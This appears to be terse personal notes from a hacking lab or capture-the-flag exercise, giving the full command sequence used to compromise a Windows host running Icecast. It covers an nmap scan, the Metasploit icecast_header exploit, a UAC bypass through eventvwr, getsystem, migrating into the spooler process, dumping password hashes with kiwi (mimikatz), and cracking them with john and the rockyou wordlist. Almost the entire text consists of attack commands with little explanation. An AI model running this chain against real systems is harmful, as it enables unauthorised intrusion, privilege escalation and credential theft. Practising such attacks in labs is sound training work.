nmap -sV -sC 192.168.1.212 -vv

Portnumber 8000

Msfconsole

>search icecast

>use exploit/windows/http/icecast\_header

>set RHOST 192.168.1.212

>exploit

>getpriv (current privilages)

\* **get more privilages**

>run post/multi/recon/local\_exploit\_suggester

Back

>use exploit/windows/local/bypassuac\_eventvwr

>set session 1

> exploit

>getpriv (check the privilages)

>getsystem(full access)

>ps (show services)

>migrate <PID> (migrate to spool service)

>load kiwi

>hashdumb (hash file)

**Recoverhash file**

john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt